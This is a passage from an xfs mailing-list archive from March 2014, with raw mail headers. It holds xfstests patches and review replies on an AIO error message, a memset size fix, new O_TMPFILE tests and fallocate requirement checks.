(8.14.4/8.14.4) with ESMTP id s24F5EZK017144 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 4 Mar 2014 10:05:14 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s24F5DHs012905; Tue, 4 Mar 2014 10:05:13 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 3EE6512452B; Tue, 4 Mar 2014 10:05:11 -0500 (EST) Date: Tue, 4 Mar 2014 10:05:11 -0500 From: Brian Foster To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfstests: fix error msg in aio-dio-subblock-eof-read.c Message-ID: <20140304150511.GB51235@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH V2] xfstests: fix error msg in aio-dio-subblock-eof-read.c References: <53156389.4060405@redhat.com> <5315681C.5070704@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5315681C.5070704@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393945515 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Mar 03, 2014 at 11:43:56PM -0600, Eric Sandeen wrote: > io_getevents returns the number of events; printing its > return as "bytes read" is ... wrong. > > Signed-off-by: Eric Sandeen > --- > > V2: print as signed so we can easily see errors returned > Reviewed-by: Brian Foster > diff --git a/src/aio-dio-regress/aio-dio-subblock-eof-read.c b/src/aio-dio-regress/aio-dio-subblock-eof-read.c > index a48841d..8f74cec 100644 > --- a/src/aio-dio-regress/aio-dio-subblock-eof-read.c > +++ b/src/aio-dio-regress/aio-dio-subblock-eof-read.c > @@ -105,8 +107,8 @@ main(int argc, char **argv) > * are broken, we may very well see a result of 4k. > */ > if (ie.res != FILE_SIZE) > - fail("AIO read of last block in file returned %d bytes, " > - "expected %d\n", ret, FILE_SIZE); > + fail("AIO read of last block in file returned %ld bytes, " > + "expected %d\n", ie.res, FILE_SIZE); > > printf("AIO read of last block in file succeeded.\n"); > return 0; > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Tue Mar 4 09:37:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9C2217F4E for ; Tue, 4 Mar 2014 09:37:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1ABE1AC004 for ; Tue, 4 Mar 2014 07:37:02 -0800 (PST) X-ASG-Debug-ID: 1393947418-04cb6c567823a250001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id eRpZzG8Er6I8ABBI for ; Tue, 04 Mar 2014 07:36:58 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s24Favhc026798 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Mar 2014 10:36:58 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s24FavVp027378; Tue, 4 Mar 2014 10:36:57 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 07F9A12452B; Tue, 4 Mar 2014 10:36:55 -0500 (EST) Date: Tue, 4 Mar 2014 10:36:55 -0500 From: Brian Foster To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfstests: memset proper length in resvtest.c Message-ID: <20140304153655.GC51235@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfstests: memset proper length in resvtest.c References: <531563D8.2070007@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <531563D8.2070007@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393947418 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Mar 03, 2014 at 11:25:44PM -0600, Eric Sandeen wrote: > sizeof(pointer) is not very relevant; sizeof(*pointer) > is a bit more so. > > Signed-off-by: Eric Sandeen > --- > > diff --git a/src/resvtest.c b/src/resvtest.c > index 037d9ea..a07f503 100644 > --- a/src/resvtest.c > +++ b/src/resvtest.c > @@ -73,7 +73,7 @@ main(int argc, char **argv) > perror("open"); > exit(1); > } > - memset(writebuffer, 'A', sizeof(writebuffer)); > + memset(writebuffer, 'A', sizeof(*writebuffer)); > It's not clear to me how much this is intending to write/read. If the entire buffer, we should probably use the buffer size. sizeof(*writebuffer) is a single byte, no? Also, there are other instances of the same thing throughout this file. I think they need to be consistent, in any event, for the test to work. Brian > unlink(filename); > writefd = open(filename, O_RDWR | O_CREAT | O_EXCL, S_IRUSR | S_IWUSR); > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From sandeen@sandeen.net Tue Mar 4 10:49:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7803B7F4E for ; Tue, 4 Mar 2014 10:49:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 15D64AC004 for ; Tue, 4 Mar 2014 08:49:31 -0800 (PST) X-ASG-Debug-ID: 1393951769-04cb6c5676240c30001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id G3chhXMMYWJSU4y3 for ; Tue, 04 Mar 2014 08:49:29 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id BDD1063BDFCA; Tue, 4 Mar 2014 10:49:29 -0600 (CST) Message-ID: <53160419.50104@sandeen.net> Date: Tue, 04 Mar 2014 10:49:29 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Brian Foster , Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfstests: memset proper length in resvtest.c References: <531563D8.2070007@redhat.com> <20140304153655.GC51235@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfstests: memset proper length in resvtest.c In-Reply-To: <20140304153655.GC51235@bfoster.bfoster> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393951769 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145741 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/4/14, 9:36 AM, Brian Foster wrote: > On Mon, Mar 03, 2014 at 11:25:44PM -0600, Eric Sandeen wrote: >> sizeof(pointer) is not very relevant; sizeof(*pointer) >> is a bit more so. >> >> Signed-off-by: Eric Sandeen >> --- >> >> diff --git a/src/resvtest.c b/src/resvtest.c >> index 037d9ea..a07f503 100644 >> --- a/src/resvtest.c >> +++ b/src/resvtest.c >> @@ -73,7 +73,7 @@ main(int argc, char **argv) >> perror("open"); >> exit(1); >> } >> - memset(writebuffer, 'A', sizeof(writebuffer)); >> + memset(writebuffer, 'A', sizeof(*writebuffer)); >> > > It's not clear to me how much this is intending to write/read. If the > entire buffer, we should probably use the buffer size. > sizeof(*writebuffer) is a single byte, no? > > Also, there are other instances of the same thing throughout this file. > I think they need to be consistent, in any event, for the test to work. yeah, sorry, I was in a bit too much of a rush; just disregard this for now I guess. too-quick reaction to a gcc compile warning. -Eric From BATV+3fa895667d296d67fb80+3845+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 4 11:21:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 399697F4E for ; Tue, 4 Mar 2014 11:21:08 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1CB628F8070 for ; Tue, 4 Mar 2014 09:21:05 -0800 (PST) X-ASG-Debug-ID: 1393953663-04cbb054b6546f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id rNFBjU0MHuG2lHZm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Mar 2014 09:21:03 -0800 (PST) X-Barracuda-Envelope-From: BATV+3fa895667d296d67fb80+3845+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WKt1b-0007Zm-2m; Tue, 04 Mar 2014 17:21:03 +0000 Date: Tue, 4 Mar 2014 09:21:03 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH 0/2] RFC: O_TMPFILE tests Message-ID: <20140304172103.GA24528@infradead.org> X-ASG-Orig-Subj: [PATCH 0/2] RFC: O_TMPFILE tests MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393953663 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.10 X-Barracuda-Spam-Status: No, SCORE=2.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MJ1576, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145742 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 1.50 BSF_SC0_MJ1576 Custom Rule MJ1576 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This series adds a generic and one xfs-specific test for the O_TMPFILE functionality. For now it's purely RFC as there is no infrastructure to test the filesystem and xfs_io supports O_TMPFILE yet, as I plan to implement that ontop of Lukas' refactoring of the related feature checks. Even with these tests not going in ASAP having them out and waiting to be merged is enough that I'd be fine with merging the tmpfile branch into for-next so that it can go into the 3.15 merge window. From BATV+3fa895667d296d67fb80+3845+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 4 11:21:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6B4117F4E for ; Tue, 4 Mar 2014 11:21:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3FCEF304039 for ; Tue, 4 Mar 2014 09:21:27 -0800 (PST) X-ASG-Debug-ID: 1393953685-04bdf05daa266090001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id ps1YhFSaj1CZq4F3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Mar 2014 09:21:25 -0800 (PST) X-Barracuda-Envelope-From: BATV+3fa895667d296d67fb80+3845+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WKt1x-0007aJ-3B; Tue, 04 Mar 2014 17:21:25 +0000 Date: Tue, 4 Mar 2014 09:21:25 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH 1/2] generic: add a basic O_TMPFILE test Message-ID: <20140304172125.GB24528@infradead.org> X-ASG-Orig-Subj: [PATCH 1/2] generic: add a basic O_TMPFILE test References: <20140304172103.GA24528@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140304172103.GA24528@infradead.org> Signed-off-by: Christoph Hellwig User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1393953685 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145742 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 diff --git a/tests/generic/004 b/tests/generic/004 new file mode 100755 index 0000000..2848d36 --- /dev/null +++ b/tests/generic/004 @@ -0,0 +1,70 @@ +#! /bin/bash +# FS QA Test No. 004 +# +# Test O_TMPFILE opens +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Christoph Hellwig. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f ${testfile} +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +#_require_xfs_io_falloc_flink + +testfile="${TEST_DIR}/tst-tmpfile-flink" + +# test creating a r/w tmpfile, do I/O and link it into the namespace +$XFS_IO_PROG -T \ + -c "pwrite 0 4096" \ + -c "pread 0 4096" \ + -c "flink ${testfile}" \ + ${TEST_DIR} | _filter_xfs_io + +if [ ! -f "${testfile}" ]; then + echo "failed to link testfile into place" + exit 1 +fi + +rm -f ${tmpfile} + +# test creating a r/o tmpfile. Should fail +$XFS_IO_PROG -Tr ${TEST_DIR} -c "close" | _filter_test_dir + +# success, all done +status=0 +exit diff --git a/tests/generic/004.out b/tests/generic/004.out new file mode 100644 index 0000000..b85c11c --- /dev/null +++ b/tests/generic/004.out @@ -0,0 +1,6 @@ +QA output created by 004 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +/mnt/test: Invalid argument diff --git a/tests/generic/group b/tests/generic/group index 34bd118..cf2e5ee 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -6,6 +6,7 @@ 001 rw dir udf auto quick 002 metadata udf auto quick 003 atime auto quick +004 auto quick 005 dir udf auto quick 006 dir udf auto quick 007 dir udf auto quick From BATV+3fa895667d296d67fb80+3845+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 4 11:21:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 929A67F4E for ; Tue, 4 Mar 2014 11:21:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 83B3B8F8070 for ; Tue, 4 Mar 2014 09:21:50 -0800 (PST) X-ASG-Debug-ID: 1393953708-04cb6c5675243ce0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id f04dVEe0myHIdSQ0 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Mar 2014 09:21:48 -0800 (PST) X-Barracuda-Envelope-From: BATV+3fa895667d296d67fb80+3845+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WKt2K-0007ai-Aw; Tue, 04 Mar 2014 17:21:48 +0000 Date: Tue, 4 Mar 2014 09:21:48 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH 2/2] xfs: add a test for unlinked inodes due to O_TMPFILE Message-ID: <20140304172148.GC24528@infradead.org> X-ASG-Orig-Subj: [PATCH 2/2] xfs: add a test for unlinked inodes due to O_TMPFILE References: <20140304172103.GA24528@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140304172103.GA24528@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393953708 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145742 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Make sure that we see unlinked inodes when shutting a filesystem down that has an open O_TMPFILE descriptor, and make sure that it has been deleted after a mount/umount cycle. Signed-off-by: Christoph Hellwig diff --git a/tests/xfs/006 b/tests/xfs/006 new file mode 100755 index 0000000..6be8418 --- /dev/null +++ b/tests/xfs/006 @@ -0,0 +1,86 @@ +#! /bin/bash +# XFS QA Test No. 006 +# +# Test O_TMPFILE interaction with log recovery and repair. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Christoph Hellwig. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* + rm -f ${testfile} +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/repair + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_scratch +#_require_xfs_io_falloc_flink + +testfile="${SCRATCH_MNT}/tst-tmpfile-flink" + +_scratch_mount + +# test creating a r/w tmpfile, do I/O and link it into the namespace +$XFS_IO_PROG -x -T \ + -c "pwrite 0 4096" \ + -c "pread 0 4096" \ + -c "freeze" \ + -c "thaw" \ + -c "shutdown" \ + ${SCRATCH_MNT} | _filter_xfs_io + +_scratch_unmount + +# repair should find an unlinked inode and an incorrect icount +_scratch_xfs_repair -n 2>&1 | \ + _filter_repair > $tmp.repair + +ino=`grep 'disconnected inode ' $tmp.repair | \ + head -1 | \ + awk '{print $3}' | \ + sed 's/,//'` + +cat $tmp.repair | sed "s/$ino/XXX/g" + +# filesystem should be clean after an unmount/mount cycle +_scratch_mount +_scratch_unmount + +_scratch_xfs_repair -n 2>&1 | _filter_repair + +# success, all done +status=0 +exit diff --git a/tests/xfs/006.out b/tests/xfs/006.out new file mode 100644 index 0000000..46f3b73 --- /dev/null +++ b/tests/xfs/006.out @@ -0,0 +1,43 @@ +QA output created by 006 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +Phase 1 - find and verify superblock... +Phase 2 - using log + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan (but don't clear) agi unlinked lists... + - process known inodes and perform inode discovery... + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +No modify flag set, skipping phase 5 +Phase 6 - check inode connectivity... + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +disconnected inode XXX, would move to lost+found +Phase 7 - verify link counts... +would have reset inode XXX nlinks from 0 to 1 +No modify flag set, skipping filesystem flush and exiting. +Phase 1 - find and verify superblock... +Phase 2 - using log + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan (but don't clear) agi unlinked lists... + - process known inodes and perform inode discovery... + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +No modify flag set, skipping phase 5 +Phase 6 - check inode connectivity... + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify link counts... +No modify flag set, skipping filesystem flush and exiting. diff --git a/tests/xfs/group b/tests/xfs/group index ba34650..2f896e1 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -3,6 +3,7 @@ 003 db auto quick 004 db auto quick 005 auto quick +006 auto quick 008 rw ioctl auto quick 009 rw ioctl auto prealloc quick 012 rw auto quick From jack@suse.cz Tue Mar 4 14:37:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2A9987F4E for ; Tue, 4 Mar 2014 14:37:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A6CD3AC001 for ; Tue, 4 Mar 2014 12:37:23 -0800 (PST) X-ASG-Debug-ID: 1393965441-04cb6c5678254080001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id UpZFmC0NMMeVHYPw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Mar 2014 12:37:22 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id CE201ACC8 for ; Tue, 4 Mar 2014 20:37:20 +0000 (UTC) Received: by quack.suse.cz (Postfix, from userid 1000) id 1243881ED0; Tue, 4 Mar 2014 21:37:20 +0100 (CET) From: Jan Kara To: xfs@oss.sgi.com Cc: Jan Kara Subject: [PATCH xfstests] generic/300: Add missing requirements for fallocate & punch hole Date: Tue, 4 Mar 2014 21:37:17 +0100 X-ASG-Orig-Subj: [PATCH xfstests] generic/300: Add missing requirements for fallocate & punch hole Message-Id: <1393965437-28787-1-git-send-email-jack@suse.cz> X-Mailer: git-send-email 1.8.1.4 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1393965441 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3593 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words Test 300 requires support for fallocate and punch hole from the filesystem. Add proper require checks. Signed-off-by: Jan Kara --- tests/generic/300 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/generic/300 b/tests/generic/300 index 7c6072815b40..8b80c14c6f4e 100755 --- a/tests/generic/300 +++ b/tests/generic/300 @@ -43,6 +43,8 @@ _supported_fs generic _supported_os Linux _need_to_be_root _require_scratch +_require_xfs_io_falloc +_require_xfs_io_falloc_punch NUM_JOBS=$((4*LOAD_FACTOR)) BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` -- 1.8.1.4 From david@fromorbit.com Tue Mar 4 14:39:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EA6E87F4E for ; Tue, 4 Mar 2014 14:39:45 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5CFF0AC001 for ; Tue, 4 Mar 2014 12:39:45 -0800 (PST) X-ASG-Debug-ID: 1393965582-04cbb054b864ea0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id o6oUNHGYBMLjzlQc for ; Tue, 04 Mar 2014 12:39:42 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 